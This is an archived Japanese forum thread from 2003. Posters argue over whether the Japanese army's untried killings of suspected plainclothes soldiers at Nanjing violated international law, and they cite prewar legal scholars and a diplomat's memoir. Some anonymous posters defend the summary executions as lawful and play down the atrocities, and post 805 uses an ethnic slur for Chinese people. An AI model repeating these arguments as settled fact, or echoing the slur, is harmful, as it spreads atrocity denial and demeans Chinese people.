>兵の摘出行為(1.大勢の市民を集めて 2.【憲兵】が身体検査をする)にでた
>摘出作業につき、誤認処刑があることは、(安全区が防守都市である以上、軍事
>目標主義が妥当し、直接戦闘地域ともなりえるので、【その場合の被害と比べた
>たら】)やむをえない事であり
>かかる、日本軍の行為は、「軍事上の必要」(【自軍の安全】・【治安の維持】)
>と「人道的考慮」のバランスを欠いていたということにはならない

 防守都市に対する無差別攻撃が可能であるというのは、攻城戦の場合における砲
撃に関する決まりでしかなく、一般的な戦闘の場合に「無差別攻撃」をゆるすもの
ではありません。よって、「無差別攻撃」を行わなかったということは、「人道的
な配慮」をしたという指標とはなりえないでしょう。

 そもそも、都市を攻撃(砲撃)するか、もしくは占領するかの指標は、純粋に戦
術的な問題であり、仮に、部隊指揮者が人道を考慮したことを明言したならばその
意志を認めることができますが、その様な意志の表明がない南京のケースにおいて
、戦術的選択に「人道的な配慮をした」ということを確認することはできません。

 「直接戦闘地域ともなりえるので、その場合の被害と比べたたらやむをえない」
という中の「やむえない」という評価は、上記の間違った解釈による指標を基準と
しているので妥当性はありません。

 「かかる、日本軍の行為」というのは、摘出→殺害を指すようですが、そのこと
に前提状況を設けようとする企図は、上記の通り間違だといわざるをえません。便
衣兵「容疑者」の殺害は、法的には市民殺害と変わらず、それが基本的な国際法違
反であることは明白であると思われます。

742 :K−K:03/09/12 21:51 ID:p3N2hrsw

>>728
>@支那側の数々の違法行為(通州事件を含む)に対する復仇の可能性、

 復仇の宣言もせず、また現地軍が独自に復仇を行うというのは無理があると思われます。


>A和平開城の勧告を拒絶して、結果的に自国の多数の良民や兵士を悲惨な状態
>に陥れた支那政府首脳部の責任、
>B安全区に支那兵の潜入を許してしまった、安全区委員会の責任
>C右の勧告を拒絶されながら、防守都市南京に対する無差別砲撃の権利の行使を
>「自制した日本軍の態度、
> など関連して検討すべき法的問題点はなお少なくない。

 いずれも国際法上の責任とは関係がありません。


743 :K−K:03/09/12 22:06 ID:p3N2hrsw
>>730
>戦時国際法提要(上)P395 信夫淳平
>(違法な民衆軍について)
(略)
> したがって占領地においてはおいてはもちろん、敵軍のすでに潜入
>したる所においては、彼等(違法な民衆軍)の敵対行動は当然戦律犯に
>問われ、敵手におちれば捕虜とせられずにして【直ちに殺害せらるべき
>ものとなる】。 

 この「直ちに殺害せらるべきものとなる」という考え方は、当時の考え方としては非常に特殊なものです。当時の他の戦時国際法学者は、次のように主張します。
立作太郎『戦時国際法』1931年
---- 引用 ----
凡そ戦時重罪人は、軍事裁判所又は其の他の交戦国の任意に定むる裁判所に於て審問すべきものである。然れども全然審問を行はずして処罰を為すことは、現時の国際慣習法上禁ぜらるる所と認めなければならぬ。
---- 終わり ----
篠田治策『外交時報』第788号「北支事変と陸戦法規」
---- 引用 ----
而して此等の犯罪者を処罰するには必ず軍事裁判に附して其の判決に依らざるべからず。何となれば、殺伐たる戦地に於いてはややもすれば人命を軽んじ、惹いて良民にえん罪を蒙らしめることあるがためである
---- 終わり ----

 また、信夫淳平自身も「私服狙撃者(便衣隊)」について次のように主張します。
信夫淳平『戦時国際法講義2』P82
---- 引用 ----
交戦に従事するを得るものは交戦者たるの資格ある者、即ち前述の正規兵、及び特殊条件を具備する民兵、義勇兵団、並に民衆軍に限らるるものである
から、その資格を有せざる常人は敵兵殺傷その他敵対行為を行ふ権なく、その権なくして之を行へば、敵軍に捕へられた場合には捕虜として取扱はれず
、戦律犯として重刑に処せられるべく、自国法廷の審理の下に立つ場合には当該法律に依り処断せられる。
---- 終わり ----

744 :K−K:03/09/12 22:07 ID:p3N2hrsw
>>730
>注)便衣兵は、ハーグ上では、軍隊ではなく違法な民衆軍扱いになる 

 ハーグ規則には、「便衣兵」を規定している条文など存在しません。

 信夫淳平は次のように説明しています。
『戦時国際法講義2』P80
---- 引用 ----
 近代にありて最もうるさい便衣隊の出現を見たのは、昭和7年の上海事変
の際であった。この事変の勃発したる当時、我が海軍陸戦隊の歩哨兵、通行
兵、その他在留邦人にして支那便衣隊のために不測の危害を受けた者はすく
なからずあった。彼等の中には学生あり、労働者あり、将た正規兵の変装せ
る者ありて、その或者は当時主として皇軍に対抗せる支那十九路軍の指揮を
直接に受け、或いはその傍系に属し、或いは郡外の特定団体の使嗾の下に行
動するが如く、その系統は一様ではなかった。
---- 終わり ----
 もちろん、読んでも解るとおり、違法な民衆軍から、違法な正規軍を横断
するものであると、信夫淳平も認めています。


745 :名無しかましてよかですか?:03/09/12 22:40 ID:FKWFjucx
K−Kキタ━━━━━━(゚∀゚)━━━━━━!!

>>738
>これは法的処置を指示しているのではありません。
>「作命」と書かれているとおり作戦命令であり、軍に行動を命令しているだけです。

だから何なんだ・・・?

>これは、私も見たことがあるが、明かに国内法だったはずです。
>戦地で適用される戦時国際法と混同しても意味がありません。

しかし>>725には
>(これが、国際法違反であるという肯定派の論証はないので合法という所か)
とある。国際法違反でない限りにおいては国内法が適用される(当たり前)。
よって君がまず為すべき事は、上記が国際法違反である事の論証である。

746 :名無しかましてよかですか? ::03/09/12 22:47 ID:FMNrLZPz
K−Kは「戦数」を知っているのかな?
現在ではその“一般的な意味での”理論的正当性はほぼ否定されているのであるが、
これを論ずることが戦争法の本質的な理解の一助になるからです。


747 :名無しかましてよかですか?:03/09/12 22:47 ID:7PpAHJm7
おやおや、随分また有名なコテハンがでてきたな
しかし裁判なしでは容疑者扱いという珍説はもうおわりなのw
そして無裁判処刑遺法論もその時点で崩壊してんのw

戦場ではなにが許されるか、許されないのか、国際法の文面以外の理屈が
読めなければ永久にこの問題、理解できないよw

748 :名無しかましてよかですか?:03/09/12 22:57 ID:FKWFjucx
>>739
>この論は、すでに信夫淳平『上海戦と国際法』で明白に否定されています。

「この論」が「>>724-726の論」を指すのなら、否定されません。なぜなら、
>憲兵によって、身体検査がなされ兵士と市民の区分がなされていたことは興味深い。(>>724
つまり信夫博士が言うところの「漠然たる嫌疑」ではないからです。

さらに信夫博士の論自体も「多少は已むなしとして斟酌すべきも」とあり、
【程度問題であるという前提】のもとに「理に於ては穏當でない」と言っているのです。

ちなみに、信夫博士のそのあたりの文章全体を読んでみましょう>ALL
http://homepage1.nifty.com/SENSHI/data/s-kokusaiho.htm
全体を読めば、実はこれは日本軍擁護なのです。
しかし肯定派は、その中の都合の良い一部だけ引用しとるわけですな。

749 :名無しかましてよかですか?:03/09/12 23:07 ID:FKWFjucx
>>741
>防守都市に対する無差別攻撃が可能であるというのは、攻城戦の場合における砲
>撃に関する決まりでしかなく、一般的な戦闘の場合に「無差別攻撃」をゆるすもの
>ではありません。よって、「無差別攻撃」を行わなかったということは、「人道的
>な配慮」をしたという指標とはなりえないでしょう。

「無差別砲撃してもOKなところを、あえて通常攻撃で陥落させ、
 さらに便衣兵容疑者も無差別殺戮したのでなく摘出した」
K−K氏にとってこれは人道的でも何でもないそうですが、皆さんはどうですか?(笑)

750 :名無しかましてよかですか?:03/09/12 23:11 ID:l6bef1Sn
>>745
>しかし>>725には
>>(これが、国際法違反であるという肯定派の論証はないので合法という所か)
>とある。国際法違反でない限りにおいては国内法が適用される(当たり前)。
>よって君がまず為すべき事は、上記が国際法違反である事の論証である。

 件の話は、満州国内の治安維持を目的としたものです。確か法律として定めら
れたものであったはずですね(引用ページが無くなっているので記憶で書いてい
ます)。戦時国際法が有効となるのは、「戦争状態(武力紛争状態)」にある時
に有効となるのですから、国内の治安維持とはまったく情況が違います。

 だから、「戦地で適用される戦時国際法と混同しても意味がありません」と書
いたのです。

751 :名無しかましてよかですか? ::03/09/12 23:12 ID:FMNrLZPz
 小林もどき発言
 いい加減に「K−K=トンデモ君」「その他=良識人」という
 構図を見直したらどうだ?

752 :名無しかましてよかですか?:03/09/12 23:12 ID:WxFiEuw0
結局、憲兵が関与すれば、裁判したことになったのね。
関与は、>>724 >>725 にて明らかだから、日本軍の合法性は明白だね


>>743無裁判の違法性を謳った学者をいくら引用しても、>>726にあるように
>ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
>戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかったのである。
法規範性は南京当時には認められていなかったのも明白

753 :名無しかましてよかですか?:03/09/12 23:13 ID:l6bef1Sn
>>746
>K−Kは「戦数」を知っているのかな?
>現在ではその“一般的な意味での”理論的正当性はほぼ否定され
>ているのであるが、これを論ずることが戦争法の本質的な理解の
>一助になるからです。

 戦数に関しては、次のページで纏めています。

「戦数について」
http://members.at.infoseek.co.jp/NankingMassacre/mondai/sensuu.html

 もうそろそろ、戦数は卒業した方がいいでしょう。

754 :名無しかましてよかですか?:03/09/12 23:16 ID:WxFiEuw0

結局 K-Kは>>726の反証を見事に無視してることに論理の破綻がある
法規ではなく 特殊な学者の解釈によって日本軍が違法であるといっているにすぎない

>ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
>戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかったのである。

裁判しなければいけなかったのが正しい解釈か特殊な解釈か?↑を読めば馬鹿でもわかるであろう

755 :名無しかましてよかですか?:03/09/12 23:24 ID:l6bef1Sn
>>748
>「この論」が「>>724-726の論」を指すのなら、否定されません。なぜなら、
>>憲兵によって、身体検査がなされ兵士と市民の区分がなされていたことは
>>興味深い。(>>724
>つまり信夫博士が言うところの「漠然たる嫌疑」ではないからです。

 信夫は「嫌疑者でも現に銃器弾薬類を携帯して居れば、嫌疑濃厚として之を
引致拘禁するに理はあるが」と記しています。
 これは、実際に武器弾薬などを持っている場合などが、「嫌疑濃厚」な状態
だという説明であると言えるでしょう。
 しかも、その様な嫌疑濃厚であっても「無裁判で殺害していい」のではなく、
「之を引致拘禁するに理はあるが」というように、「引致拘禁」する程度の処置
(処罰ではない)が法理上妥当であると述べています。


>さらに信夫博士の論自体も「多少は已むなしとして斟酌すべきも」とあり、
>【程度問題であるという前提】のもとに「理に於ては穏當でない」と言ってい
>るのです。

 「多少は已むなしとして斟酌すべきも」というのは、「情状酌量の余地が無い
わけでもないが…」という意味です。これが「程度の問題であるという前提」と
なる理由が分かりません。どの様な法判断にも、情状酌量の余地は存在しうるの
はさほど不思議な話とは思えません。

 信夫は、「理に於ては穏當でない」と明言しているのであり、ここでいう「理」
とは、国際法上の論理であることは言うまでもないことでしょう。

756 :名無しかましてよかですか?:03/09/12 23:26 ID:WxFiEuw0
>>753
 戦数が肯定されようが、否定されようが
 軍事的必要が、全く否定されるわけではないし、
 人道がすべて保障されなければ、違法となるわけでもない

 K−Kは、人道がすべて保障されなければ違法となるとする時点で、基本的な理解を欠いている

757 :名無しかましてよかですか?:03/09/12 23:27 ID:l6bef1Sn
>>748
>ちなみに、信夫博士のそのあたりの文章全体を読んでみましょう>ALL
>http://homepage1.nifty.com/SENSHI/data/s-kokusaiho.htm
>全体を読めば、実はこれは日本軍擁護なのです。
>しかし肯定派は、その中の都合の良い一部だけ引用しとるわけですな。

 一部分を引用するのは当然のことです。本をまるまる転載するわけにもい
かないでしょう。
 確かに信夫の文章は「日本軍擁護」なのですが、その「日本軍擁護」の文
章においても、日本軍を非難することになってしまうというわけです。信夫
も庇いきれない程の違反行為だということですね。

758 :名無しかましてよかですか?:03/09/12 23:30 ID:WxFiEuw0
>>755
> 信夫は、「理に於ては穏當でない」と明言しているのであり、
>ここでいう「理」とは、国際法上の論理であることは言うまでもないことでしょう。

 ここにおける「理」とは【机上の論理】であるということは言うまでもありません

>ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
>戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかったのである。

 国際法上の論理は上記であきらか

759 :名無しかましてよかですか?:03/09/12 23:30 ID:l6bef1Sn
>>749
>「無差別砲撃してもOKなところを、あえて通常攻撃で陥落させ、
> さらに便衣兵容疑者も無差別殺戮したのでなく摘出した」
>K−K氏にとってこれは人道的でも何でもないそうですが、皆さん
>はどうですか?(笑)

 すでに書いているとおり、人道的な配慮をしたのではなく、日本軍の軍事的必要性が
「通常攻撃」にあったというだけです。ただの戦術的選択をしたということですね。

760 :名無しかましてよかですか?:03/09/12 23:31 ID:WxFiEuw0
>>757
 南京と上海を混同していることは、「理に於ては穏當でない」

761 :名無しかましてよかですか?:03/09/12 23:33 ID:gLPejC0H
南京大虐殺の被害者に便衣兵が存在していたことを証明してください
m9('v`)ノ<証明してください

762 :名無しかましてよかですか?:03/09/12 23:34 ID:WxFiEuw0
>>761
 はい 肯定派のいつもの発狂がはじまりましたw

763 :名無しかましてよかですか?:03/09/12 23:34 ID:l6bef1Sn
>>752
>結局、憲兵が関与すれば、裁判したことになったのね。
>関与は、>>724 >>725 にて明らかだから、日本軍の合法性は明白だね

 軍律法廷は、審判規則に則り行われ、軍律処罰規定に基づいて処罰され
ます。
 中支那方面軍も、どう規則・規定を整備しており、その手続きを踏まな
い限り、軍律法廷を行ったとは言えません。憲兵が関与したという事実だ
けではどうにもなりません。


>>>743無裁判の違法性を謳った学者をいくら引用しても、>>726にあるように
>>ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
>>戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかっ
>>たのである。
>法規範性は南京当時には認められていなかったのも明白

 あなたがそう思うのは勝手ですが、当時の国際法学者の一致した見解として、
私は資料を提示しているのです。思い込みは根拠となりません。



764 :名無しかましてよかですか?:03/09/12 23:38 ID:WxFiEuw0
>>763
当時の国際法学者の一致した見解だろうがなかろうが

>ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
>戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかったのである。


これは事実である。 よって、無裁判処刑は合法

765 :名無しかましてよかですか?:03/09/12 23:40 ID:l6bef1Sn
>>758
> ここにおける「理」とは【机上の論理】であるということは言うまでもありません

 「机上の論理」ということは、実態に即さない論理ということだと思われますが、実
態に即さない国際法論理を提示したところで、その妥当性があると考える人はいないで
しょう。

 当然、国際法学者であれば、実態との整合性を考慮した上で論理を打ち立てていると
考えるのが妥当です。信夫淳平が「机上の論理」を振り回すだけの人物でしたら、軍も
彼を重宝しないでしょう。

 彼は、南京事件当時、上海に視察に来ていたことは、小川関治郎日記にも載っています。

766 :名無しかましてよかですか?:03/09/12 23:40 ID:WxFiEuw0

関東憲兵隊は、関東軍のもとで、憲兵が逮捕調査した人間を軍律会議にもかけずに任地指揮官の認可を得て処刑できる権限があった。


憲兵の関与があれば、無裁判処刑だったともいえない

767 :名無しかましてよかですか?:03/09/12 23:43 ID:fqvOiseY
>>740

じゃあ「人類史上類を見ない」ってのは今後否定でよろしいねw

768 :名無しかましてよかですか?:03/09/12 23:45 ID:WxFiEuw0
>>765
>当然、国際法学者であれば、実態との整合性を考慮した上で論理を打ち立てていると
考えるのが妥当です。

 いえいえ、実態との整合性を考慮した学説を打ち立てるわけではありません
 
 たとえば、現在における 死刑廃止論 がそうでしょう 
 学説には、実態との整合性などとは無関係なものが多いのです
 30年後死刑廃止が国際的常識になったとして、いまの日本政府が死刑制度を取り入れていたとしても、なんの罪にもならないということです。

769 :名無しかましてよかですか?:03/09/12 23:45 ID:l6bef1Sn
>>764
>当時の国際法学者の一致した見解だろうがなかろうが
>>ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
>>戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかったのである。
>これは事実である。 よって、無裁判処刑は合法

 ただの繰り返しですね。
 事実としては、すでに国際法学者の見解を提示しているとおり、無審判殺害は
違法です。
 思い込みだけでは議論になりませんね。

770 :名無しかましてよかですか?:03/09/12 23:48 ID:l6bef1Sn
>>768
> たとえば、現在における 死刑廃止論 がそうでしょう 
> 学説には、実態との整合性などとは無関係なものが多いのです
> 30年後死刑廃止が国際的常識になったとして、いまの日本政府が死刑制度を取り入
>れていたとしても、なんの罪にもならないということです。

 「死刑廃止論」が法律学者の一致した考えなのですか?
 ちょっと、私の理解を超えている事実認識だと言わざるを得ません。

771 :名無しかましてよかですか?:03/09/12 23:50 ID:WxFiEuw0
>>769
>無審判殺害は違法です。
 
 だから、違法とする法律の明文を挙げてください

 あるの?ないでしょ? それとも君の思い込み?

 だから学者も違法であるといえず、「理に於ては穏當でない」としかいえてないわけ


772 :名無しかましてよかですか?:03/09/12 23:52 ID:WxFiEuw0
>>770 いみがわかりませんが 

 無裁判処刑違法が当時の国際学者の一致した考えなのですか?
 ちょっと、私の理解を超えている事実認識だと言わざるを得ません。


773 :K−K:03/09/12 23:53 ID:l6bef1Sn
 すみません。
 ID:l6bef1SnはK−Kです。

774 :名無しかましてよかですか?:03/09/12 23:53 ID:fqvOiseY
>>771
まあまあ。
空論を振り回す輩になにいっても無駄。
>>769みたいな香具師は便衣兵の怖さも危険性も知らずに後方でのんびりかまえてる「だけ」の
香具師とかわらないんだから。


775 :名無しかましてよかですか?:03/09/12 23:53 ID:WxFiEuw0


 ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
 戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかったのである。



 無裁判処刑は合法ですね。 違法とする明文の法律を挙げてくださいな 

776 :K−K:03/09/12 23:54 ID:l6bef1Sn
>>771
> だから、違法とする法律の明文を挙げてください
> あるの?ないでしょ? それとも君の思い込み?
> だから学者も違法であるといえず、「理に於ては穏當でない」としかいえてないわけ

 なぜ、明文規定を挙げなければならないのか理解できません。
 理由を説明してください。

777 :名無しかましてよかですか?:03/09/12 23:55 ID:/7qn3JCm
しかし、初期の登場の頃と比べるとK-Kも成長したよなぁ。
前はとんでもない資料を持ってきてとんでもない論でグースに
ケチョンケチョンにやられてたもんなぁ。(w

まだ30万人説を捨ててないって言う割りに数論をせずに
グレーゾーンの国際法論で戦うようになった。(w

国際法論なら逃げ道がいっぱいあって幾らでも言い訳できる
からなぁ。

778 :K−K:03/09/12 23:55 ID:l6bef1Sn
>>772
> 無裁判処刑違法が当時の国際学者の一致した考えなのですか?
> ちょっと、私の理解を超えている事実認識だと言わざるを得ません。

 信夫淳平を始め、立作太郎や篠田治策などの国際法学者の見解を提示しています。

779 :名無しかましてよかですか?:03/09/12 23:56 ID:fqvOiseY

\もうね、アボガド/ \バナナかと/
                     ┌┐
      ヽ           / /
     γ⌒^ヽ       / / i
     /:::::::::::::ヽ      | (,,゚Д゚)
     /::::::::(,,゚Д゚)       |(ノi  |)
    i:::::(ノDole|)     |  i  i
     ゙、:::::::::::::ノ      \_ヽ_,ゝ
      U"U         U" U
            


780 :名無しかましてよかですか?:03/09/12 23:56 ID:WxFiEuw0
>>776
 はぁ? 法律を一から勉強してきなさい 

781 :名無しかましてよかですか?:03/09/12 23:57 ID:WxFiEuw0
>>778
 でも現実は これね↓

 ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
 戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかったのである。




782 :名無しかましてよかですか?:03/09/12 23:57 ID:fqvOiseY

\もうね、アボガド/ \バナナかと/
                     ┌┐
      ヽ           / /
     γ⌒^ヽ       / / i
     /:::::::::::::ヽ      | (,,゚Д゚)
     /::::::::(,,゚Д゚)       |(ノi  |)
    i:::::(ノDole|)     |  i  i
     ゙、:::::::::::::ノ      \_ヽ_,ゝ
      U"U         U" U
            


783 :K−K:03/09/12 23:59 ID:l6bef1Sn
>>775
> ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、
> 戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しな
>かったのである。
> 無裁判処刑は合法ですね。 違法とする明文の法律を挙げてくださいな 

 明文規定だけを求める段階で、論外だというべきでしょうね。


784 :名無しかましてよかですか?:03/09/12 23:59 ID:WxFiEuw0
ID:fqvOiseY  >>761みたいな行為はやめてください 


785 :名無しかましてよかですか?:03/09/13 00:00 ID:bh2pY2C+
> 明文規定だけを求める段階で、論外だというべきでしょうね。

 明文規定がないということでよろしいですね?

786 :K−K:03/09/13 00:00 ID:txci201e
>>780
> はぁ? 法律を一から勉強してきなさい 

 国際法の本を読んだことがありますか?

787 :K−K:03/09/13 00:01 ID:txci201e
>>785
> 明文規定がないということでよろしいですね?

 はいはい、構いませんよ。

788 :名無しかましてよかですか?:03/09/13 00:02 ID:bh2pY2C+
>>786
 はぁ?法律の本は読むものではなく 理解するものですがなにか?

 

789 :K−K:03/09/13 00:02 ID:txci201e
 ・・・っということで、本日はここまで。

790 :名無しかましてよかですか?:03/09/13 00:05 ID:bh2pY2C+
>>787
 法律が存在しないのに、違法だとは・・・
 ちょっと、私の理解を超えている法律解釈だと言わざるを得ません。



791 :名無しかましてよかですか?:03/09/13 00:09 ID:KfaqB5Ul
K-K、お前はつまらん。つまらんよ。
同じ○キでも、中途半端に知識があるだけダースよりつまらん。

同じ粘着なんだからもっと面白くしてくれよ。
ギロンのプロレベルのことを望んでるわけじゃないんだから。

792 :名無しかましてよかですか?:03/09/13 00:10 ID:Mf3L/GiO
まず、取り決めがあっても実効性が有ったのですか?
今の日本も国際法を守っていない
  例 ジュネーブ条約を学校で教えていない
 また 親は子供を学校にやる義務(名前忘れた)があるが、引きこもりの子供の例を考えると、
    親は義務を果たしていないので、違法となる。しかし、実効性が無いので適応されていない。
    国際法について小室直樹氏の発言より、
   国際法は慣習法であるから、単に条文があるというだけではどうこう言えない。
   実効性がいる。慣習化していないと無意味である。
   慣習化していますか? 
   実効性はありますか?

793 :名無しかましてよかですか?:03/09/13 00:10 ID:6aQMYQc+
>>790

>K−K
>なぜ、明文規定を挙げなければならないのか理解できません。

まさに迷言ですな。

794 :名無しかましてよかですか?:03/09/13 00:23 ID:Mf3L/GiO
792ですこんなの見つけましたけど。>793
国際法というものは「書かれたもの」つまり明文規定があるものだけではありません。
もともと国際法というのは、各国の慣行(行動)が法として認められたもので、
「慣習国際法」つまり明文の規定がないものがほとんどだった訳です
   
  けど慣習化してないとね。それに実効性は無いのだろう。

795 :名無しかましてよかですか?:03/09/13 00:33 ID:xtmyh2UD
>>792
幾つか質問。

ジュネーブ法を学校で教えなければならない、って条文に記されてるの?

>国際法は慣習法であるから、単に条文があるというだけではどうこう言えない。

これの根拠は? 小室直樹の思い込みじゃないの?
国際法は成文法と慣習法からなっていて、どちらも等しく守る義務を負う
のだと思ってたけど。
(あと、基本的には慣習より条約の方が優先されたはず)

796 :名無しかましてよかですか? :03/09/13 00:59 ID:Mf3L/GiO
>795
えーとね、『わしズム7』より潮まさと のところより
   国際人道法により、各国が、それぞれの公教育などでジュネーブ条約を
 普及する義務が課せられています。その点日本はジュネーブ条約違反でしょう。
たぶん条文じゃないの(すまん)
>>小室直樹の思い込みじゃないの? 
これは実効性がいる。慣習化していないと無意味である から小室は判断したのだと思います。
条文があっても皆が守っていなかったなら慣習化していないので、守らなくても良い。ということかな(なんかむちゃくちゃ)
けど実効性のない法には意味がないでしょう。(792の例然り)


797 :名無しかましてよかですか?:03/09/13 01:20 ID:xtmyh2UD
>>796
ありがと。

>けど実効性のない法には意味がないでしょう。(792の例然り)

不登校の場合は「相応の理由がある」とみなされるんじゃないかな?
病気の時に学校を休ませるのと同じで。
例えば家の手伝いをさせるためにずっと学校にやらない、とかだったら、
しっかり行政機間に怒られます。
「適応されない例もある」から「実効性がない」とは言えないんじゃない?

あと、ハーグ陸戦法規は慣習化してたからこそ、わざわざ条約にした
という種類の法なので(これは明記されていますね)第二次大戦時、
突然慣習じゃなくなった、というのは無理があるのではないかな。

最後に付け加えると、人道に関する条約は国際法上かなり優遇(?)
されていて、例えその条約を破る国があったとしても効力を失いません。


798 :名無しかましてよかですか? :03/09/13 01:36 ID:Mf3L/GiO
ハーグ条項については話していないと思うのだけど。まあ君の言うとおり。
>>例えば家の手伝いをさせるためにずっと学校にやらない、とかだったら、
しっかり行政機間に怒られます。
  
確かに怒られるけど、法律の執行はしないはず。高校の時の話だからあまり覚えていないけど、
>>「適応されない例もある」から「実効性がない」とは言えないんじゃない?
  高校の先生によると実際に適応されていないので、効力は無い。とか言っていた。
  適応されていたら、違反者は万を超える。
  国際法では実行力の無い法律がけっこうあるからね。
  子供の人権条約とか  まあ調べてくれい

799 :名無しかましてよかですか?:03/09/13 02:19 ID:xtmyh2UD
>>798
んー、「適用されないケースもある」「罰則がない」というのは
「守らなくてよい」ということを意味するわけではないんだよね。
『私は親の義務を果たしません。法律に実効性がないから、
 行政より私の方が正しいのです』
と言っても通らないでしょ?
法律が本当に無効化しているのなら、親の主張が全面的に認められるはず。
実際はそうじゃないから悪質なケースにはそれなりの措置が取られるわけで。

「実効性がない」というのは、単に見逃されているだけで、
追及されれば責任をとらなければならない状態だということ。
法律的に言えば、ある法が「守らなければならないものである」
という事実は例え適用されてなくても、違反者が多くても消えないんだよ。

> 国際法は慣習法であるから、単に条文があるというだけではどうこう言えない。

憲法に定められている通り、条約は調印した段階で遵守義務が発生する。
慣習化も実効性も関係ない。
小室がどういうつもりでこの発言をしたのかは知らないが、
「実効性のないものは守らなくていいんだ」と君が考えているなら
それは間違いだよ。
「実効性」の有無と「遵守義務」の有無は全く別問題。


800 :名無しかましてよかですか?:03/09/13 02:26 ID:xtmyh2UD
>ハーグ条項については話していないと思うのだけど。

ああ、これはその通りだった。失礼。
「ハーグ陸戦法規は無効だから、日本軍が捕虜を殺しても合法」
とかいうお馬鹿さんが多いので、勘違いしてしまった。

801 :名無しかましてよかですか?:03/09/13 02:41 ID:Ov9f8nVw
ひさしぶりにレス伸びたな。
もうこんなことないかと思ったよw

802 :名無しかましてよかですか?:03/09/13 02:44 ID:hyXbHmn5
明文がなければ違法ではないとか考えている時点で国際法無知。

つーか、否定派はあまりにも国際法無知。最低でも北の狼かグースレベルでないと
話にならないYO!


803 :名無しかましてよかですか? :03/09/13 02:49 ID:GUkgj2Xx
ていうか南京についてはもう決着がついたんじゃないの?
>802お前は肯定派?

804 :名無しかましてよかですか?:03/09/13 02:54 ID:Ov9f8nVw
>>802
国際法理解については全員話にならないだろ
最低限ここにはちゃんとした教育を受けた人間はいない
当然、虐殺派にもな

議論ならいいよ。そんなもんでもいいだろうさ。
だけどこの議論を、シャレ程度に受け止められないやつはアフォだという
ことにはなるわな。

まさか誰もマジでここで議論したようがなことを真理だと思っているやつは
いないでしょうねw

歴史なんて素人でもできる学問と法学をいっしょにしてもしょうがない

805 :阪京 ◆gghX0J6sMI :03/09/13 03:10 ID:DNxGxTUv
まだこんなことをやってんのか? 日本が無視すりゃたぶんどこの国も
無視するで。チャンコロのいいがかりなど。

806 :名無しかましてよかですか?:03/09/13 03:12 ID:GUkgj2Xx
>804うーん、まあそうだね。
   で、君は何を望むわけ。言っていることは正しいが、冷笑主義者みたい、
    それに、学者がこの問題(国際法)についてほとんど語らないから、
  素人の意見が世に流れるんじゃないの。真には受け止めないが、
ここの問題(国際法)について誰の意見(もしくは学者)が一番良いのやら。
 K−K君でいいのかな?

807 :名無しかましてよかですか?:03/09/13 03:23 ID:Ov9f8nVw
>>806
冷笑主義者?w
素人なりに冷静に判断したまでだよ。
素人の法解釈を聞いたところで意味なんてないってね。

> で、君は何を望むわけ。

ここでなにも望まないよ。
望みはしないが、議論というゲームを楽しむことくらいはしてるが。w
君はなにかを望んでいるの?それは虐殺派の勝利ですか?w
歴史ならともかく、それこそ無意味だと思うけどねw

>ここの問題(国際法)について誰の意見(もしくは学者)が一番良いのやら。
>K−K君でいいのかな?

私がいいたいのは、こーいう馬鹿げた判断をするなよ、ということにつきる。

どんな学者よりK−Kのほうが上かよw



808 :名無しかましてよかですか? :03/09/13 03:25 ID:GUkgj2Xx
>>国際法理解については全員話にならないだろ
最低限ここにはちゃんとした教育を受けた人間はいない
当然、虐殺派にもな
   これは戦時国際法についてなのだが、日本では東大教授の横田喜三郎が
 戦時国際法の講座を大学から締め出してしまったので、専門の人がほとんどいない。
 まあいるとしたら吉田裕かな。   お勧め文献
  高野雄一『国際法概論』 小池政行『国際人道法 戦争にもルールがある』
  井上忠男『戦争と救済の文明史』 藤田久一『戦争犯罪とは何か』
   自衛官の人ならばもしかすると、国際法を習っている可能性大

809 :名無しかましてよかですか?:03/09/13 03:55 ID:Ov9f8nVw
>>808
オレには君がなにをやりたいのかよくわからんよw

それより吉田裕に戦時国際法の論文があったなんて知らなかったな。
てっきり東中野程度にかじった程度だと思ったんだがw

810 :名無しかましてよかですか? :03/09/13 04:08 ID:GUkgj2Xx
>809わからんかな
これは戦時国際法についてなのだが、日本では東大教授の横田喜三郎が
 戦時国際法の講座を大学から締め出してしまったので、専門の人がほとんどいない。
メインは上の文章、専門の人が少ないと言うことを言ったの。君は高見から人を見ているのだよ。
もうちょっと謙虚になれば?
  吉田裕の論文は『南京否定論13の嘘』の中にあったと思う。
  お前は吉田裕を馬鹿にしているのか。
>>東中野程度にかじった程度だと思ったんだがw
この根拠は?


811 :名無しかましてよかですか?:03/09/13 09:22 ID:uCwkhHjS
上海・南京戦はどうみても皇軍史上最大の軍事的勝利の一つだ
確かなことは
それが終わった時、
彼らの手の内には「騒乱状態ではない敵国の首都であった街」と
万単位の敵兵と「おもわれる」遺体があったってことだけのようなきがする

812 :名無しかましてよかですか?:03/09/13 10:36 ID:yns0ZABI
>>811

正解

813 :名無しかましてよかですか?:03/09/13 11:10 ID:uGxDt7vM
法眼晋作回顧録「外交の真髄を求めて」より
 電信専門の官補時代に最もショックを受けたのは、南京事件(後述)であった。敗走
する中国軍を追って南京を占領(昭和十二年一二月十三日)した日本軍が、筆舌を絶す
る乱暴を働いた事実である。あまりに乱暴狼藉がひどいので、石射猪太郎東亜局長が陸
軍軍務局長に軍紀の是正を求め、広田外相も陸軍大臣に強く注意して自制を求めた。軍
は参謀本部二部長・本間少将を現地に送って、ようやく事態は沈静に向かった。

 戦後現在に至って、南京事件の事実を否定し、これがため著書を発行したり、事実無
根との訴訟を起こす者も出てきた。また、被害者の数を問題にする者もいる。残虐行為
は被害者の数が問題なのではない。私に理解できぬのは、この世界を震駭し、知らぬは
